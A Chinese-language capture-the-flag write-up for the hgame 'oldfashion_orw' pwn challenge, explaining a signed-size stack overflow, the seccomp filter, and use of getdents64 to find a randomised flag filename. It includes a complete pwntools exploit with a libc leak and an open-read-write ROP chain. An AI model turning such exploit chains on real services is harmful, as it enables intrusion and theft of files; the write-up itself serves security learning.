hgame week1 oldfashion_orw复现
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
char buf[40]; // [rsp+0h] [rbp-30h] BYREF
size_t nbytes; // [rsp+28h] [rbp-8h]
init_io(argc, argv, envp);
disable_syscall();
write(1, "size?\n", 6uLL);
read(0, buf, 0x10uLL);
nbytes = atoi(buf);
if ( (__int64)nbytes <= 32 )
{
write(1, "content?\n", 9uLL);
read(0, buf, (unsigned int)nbytes);
write(1, "done!\n", 6uLL);
result = 0;
}
else
{
write(1, "you must be kidding\n", 0x14uLL);
result = -1;
}
return result;
}
输入-1绕过size限制。
disable_syscall中利用prctl禁用了许多系统函数。这是seccomp保护机制。
什么是seccomp?
seccomp: seccomp是一种内核中的安全机制,正常情况下,程序可以使用所有的syscall,这是不安全的,比如程序劫持程序流后通过execve的syscall来getshell。所以可以通过seccomp_init、seccomp_rule_add、seccomp_load配合 或者prctl来ban掉一些系统调用.
remake@remake-virtual-machine:~/ctf/pwn/hgame/oldfashion_orw/to_give_out$ seccomp-tools dump ./vuln
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x09 0x00 0x40000000 if (A >= 0x40000000) goto 0013
0004: 0x15 0x08 0x00 0x0000003b if (A == execve) goto 0013
0005: 0x15 0x07 0x00 0x00000142 if (A == execveat) goto 0013
0006: 0x15 0x06 0x00 0x00000101 if (A == openat) goto 0013
0007: 0x15 0x05 0x00 0x00000003 if (A == close) goto 0013
0008: 0x15 0x04 0x00 0x00000055 if (A == creat) goto 0013
0009: 0x15 0x03 0x00 0x00000086 if (A == uselib) goto 0013
0010: 0x15 0x02 0x00 0x00000039 if (A == fork) goto 0013
0011: 0x15 0x01 0x00 0x0000003a if (A == vfork) goto 0013
0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0013: 0x06 0x00 0x00 0x00000000 return KILL
所以可以写shellcode到bss,或者调用syscall进行orw(open read write)。vmmap看了一下bss是rw-p,只能ret2syscall。
但是这题连flag名字都不知道。观察题目附件
#!/bin/bash
rm /home/ctf/flag*
cp /flag "/home/ctf/flag`head /dev/urandom |cksum |md5sum |cut -c 1-20`"
cd /home/ctf
exec 2>/dev/null
/usr/sbin/chroot --userspec=1000:1000 /home/ctf timeout 300 ./vuln
大意就是每次进来flag后面会多一串随机数,而且只能读当前的文件
复现时在本地弄了个类似的flag
remake@remake-virtual-machine:~/ctf/pwn/hgame/oldfashion_orw/to_give_out$ ls
a.py _asm.py flagacbd18db4cc2f85cedef654fccc4a4d8 ld-2.31.so libc-2.31.so start.sh vuln
所以在orw之前,先要调用类似ls的命令并输出到stdout上
流程为:
open打开当前目录 -> getdents64从fd=3读取文件名到bss -> write从bss输出文件名到stdout ->
write从bss读取flag_name到bss -> read从stdin读flag_name到bss ->
open打开当前目录 -> read从fd=4读flag到bss -> write从bss吧flag写到stdout
这里涉及到了fd,即文件描述符。简单地说,stdin,stdout,stderr分别对应0,1,2,这是linux系统固定的。每当新open一个文件,系统就会给文件绑定fd(同一个进程从3开始递增)。而fd的值作为orw各函数调用的参数之一。
大体思路有了,接下来就是小细节和无限debug(要死了呜呜呜):
1.为了得到更多gadgets,需要先ret2libc
2.从stdin读数据的时机不太好把握,这里可以先write一些字符串,然后sendafter
3.一些关键函数的原型:
open系统调用:
include<unistd.h>
static inline long open(const char * name, int mode, int flags){
return sys_open(name, mode, flags);
}
mode:参数可选:
32 #define S_IRWXU 00700 文件所有者可读可写可执行
33 #define S_IRUSR 00400 文件所有者可读
34 #define S_IWUSR 00200 文件所有者可写
35 #define S_IXUSR 00100 文件所有者可执行
36
37 #define S_IRWXG 00070 文件用户组可写可读可执行
38 #define S_IRGRP 00040 文件用户组可读
39 #define S_IWGRP 00020 文件用户组可写
40 #define S_IXGRP 00010 文件用户组可执行
41
42 #define S_IRWXO 00007 其他用户可写可读可执行
43 #define S_IROTH 00004 其他用户可读
44 #define S_IWOTH 00002 其他用户可写
45 #define S_IXOTH 00001 其他用户可执行
flags:在fcntl.h中定义
7 #define O_RDONLY 00
8 #define O_WRONLY 01
9 #define O_RDWR 02
10 #define O_CREAT 0100 /* not fcntl */
11 #define O_EXCL 0200 /* not fcntl */
12 #define O_NOCTTY 0400 /* not fcntl */
13 #define O_TRUNC 01000 /* not fcntl */
14 #define O_APPEND 02000
15 #define O_NONBLOCK 04000
16 #define O_NDELAY O_NONBLOCK
17 #define O_SYNC 010000
18 #define FASYNC 020000 /* fcntl, for BSD compatibility */
19 #define O_DIRECT 040000 /* direct disk access hint */
20 #define O_LARGEFILE 0100000
21 #define O_DIRECTORY 0200000 /* must be a directory */
22 #define O_NOFOLLOW 0400000 /* don't follow links */
sys_getdents64
asmlinkage long sys_getdents64(unsigned int fd, struct linux_dirent64 __user * dirent, unsigned int count)
其中结构体linux_dirent64如下
struct linux_dirent64 {
ino64_t d_ino; /* 64-bit inode number */
off64_t d_off; /* 64-bit offset to next structure */
unsigned short d_reclen; /* Size of this dirent */
unsigned char d_type; /* File type */
char d_name[]; /* Filename (null-terminated) */
};
其中d_name[]属性存储着我们要的文件名。由于第二个参数是指针,传一个bss段的地址进去就好,函数会把文件名写到bss上,后面再用write读出来
read/write的系统调用略了,查查就行
4.syscall; ret这个gadget要用ROPgadget的opcode来找。先用python3搞出opcode
from pwn import *
import binascii
code=asm('syscall;ret')
opcode=binascii.b2a_hex(code)
print(opcode)
然后在ROPgadget里--opcode xxx
exp:
from pwn import *
# p=gdb.debug('./vuln','b * 0x4013DC')
p=process('./vuln')
libc=ELF('libc-2.31.so')
elf=ELF('./vuln')
context.log_level='debug'
'''
ret2libc
write(1,got,??)
'''
pop_rdi_ret=0x0000000000401443
pop_rsi_r15_ret=0x0000000000401441
main=elf.sym['main']
pay=b'p'*(0x30+8)+p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_r15_ret)+p64(elf.got['write'])+p64(0)+p64(elf.sym['write'])+p64(main)
p.sendline(b'-1')
p.sendlineafter('content?\n',pay)
p.recvuntil('done!\n')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym['write']
log.success('libc_base:'+hex(libc_base))
p.sendline(b'-1')
pop_rdx_r12_ret=0x000000000011c371+libc_base
pop_rax_ret=0x000000000004a550+libc_base
'''
help to find the input timming
write(1, "you must be kidding\n",20)
'''
pay=b'p'*(0x30+8)
pay+=p64(pop_rdi_ret)+p64(1)
pay+=p64(pop_rsi_r15_ret)+p64(0x40200B)+p64(0)
pay+=p64(pop_rdx_r12_ret)+p64(20)+p64(0)
pay+=p64(elf.sym['write'])
'''
input .
read(0,bss1,1)
bss->0x404000--0x405000
'''
bss1=0x404100
pay+=p64(pop_rdi_ret)+p64(0)
pay+=p64(pop_rsi_r15_ret)+p64(bss1)+p64(0)
pay+=p64(pop_rdx_r12_ret)+p64(1)+p64(0)
pay+=p64(elf.sym['read'])
'''
open current dir
open('.',0,0)
rax=2;rdi=dot;rsi=rdx=0
'''
syscall_ret=0x0000000000066229+libc_base
pop_rax_ret=0x000000000004a550+libc_base
pay+=p64(pop_rax_ret)+p64(2)
pay+=p64(pop_rdi_ret)+p64(bss1)
pay+=p64(pop_rsi_r15_ret)+p64(0)+p64(0)
pay+=p64(pop_rdx_r12_ret)+p64(0)+p64(0)
pay+=p64(syscall_ret)
'''
ls and write into bss2
fd=3
getdents64(3,bss2,0x200)
rax=217;rdi=3;rsi=bss2,rdx=0x600
'''
bss2=0x404200
pay+=p64(pop_rax_ret)+p64(217)
pay+=p64(pop_rdi_ret)+p64(3)
pay+=p64(pop_rsi_r15_ret)+p64(bss2)+p64(0)
pay+=p64(pop_rdx_r12_ret)+p64(0x200)+p64(0)
pay+=p64(syscall_ret)
'''
output filenames
write(1,bss2,0x100)
'''
pay+=p64(pop_rdi_ret)+p64(1)
pay+=p64(pop_rsi_r15_ret)+p64(bss2)+p64(0)
pay+=p64(pop_rdx_r12_ret)+p64(0x200)+p64(0)
pay+=p64(elf.sym['write'])
'''
help to find the input timming
write(1, "you must be kidding\n",20)
'''
pay+=p64(pop_rdi_ret)+p64(1)
pay+=p64(pop_rsi_r15_ret)+p64(0x40200B)+p64(0)
pay+=p64(pop_rdx_r12_ret)+p64(20)+p64(0)
pay+=p64(elf.sym['write'])
'''
input flag name to bss1
read(0,bss1,40)
'''
pay+=p64(pop_rdi_ret)+p64(0)
pay+=p64(pop_rsi_r15_ret)+p64(bss1)+p64(0)
pay+=p64(pop_rdx_r12_ret)+p64(40)+p64(0)
pay+=p64(elf.sym['read'])
'''
open current dir
open(flag_name(bss1),0,0)
rax=2;rdi=bss1;rsi=rdx=0
'''
pay+=p64(pop_rax_ret)+p64(2)
pay+=p64(pop_rdi_ret)+p64(bss1)
pay+=p64(pop_rsi_r15_ret)+p64(0)+p64(0)
pay+=p64(pop_rdx_r12_ret)+p64(0)+p64(0)
pay+=p64(syscall_ret)
'''
read flag to bss2
read(4,bss2,40)
rax=0;rdi=bss1;rsi=bss2;rdx=40
'''
pay+=p64(pop_rax_ret)+p64(0)
pay+=p64(pop_rdi_ret)+p64(4)
pay+=p64(pop_rsi_r15_ret)+p64(bss2)+p64(0)
pay+=p64(pop_rdx_r12_ret)+p64(0x100)+p64(0)
pay+=p64(syscall_ret)
'''
output flag
write(1,bss2,40)
'''
pay+=p64(pop_rax_ret)+p64(1)
pay+=p64(pop_rdi_ret)+p64(1)
pay+=p64(pop_rsi_r15_ret)+p64(bss2)+p64(0)
pay+=p64(pop_rdx_r12_ret)+p64(0x100)+p64(0)
pay+=p64(syscall_ret)
p.sendlineafter('content?\n',pay)
p.recvuntil('you must be kidding\n')
p.send('.')
p.recvuntil('flag')
flag_name=b'flag'+p.recv(32)
print(b'flag name: '+flag_name)
p.sendlineafter('you must be kidding\n',flag_name+b'\x00')
print(p.recv())
p.interactive()
参考:
官方wp
https://bbs.pediy.com/thread-267566-1.htm
https://blog.csdn.net/cnbird2008/article/details/11629095
https://blog.csdn.net/shanshanpt/article/details/39852249
https://blog.csdn.net/u012763794/article/details/78777938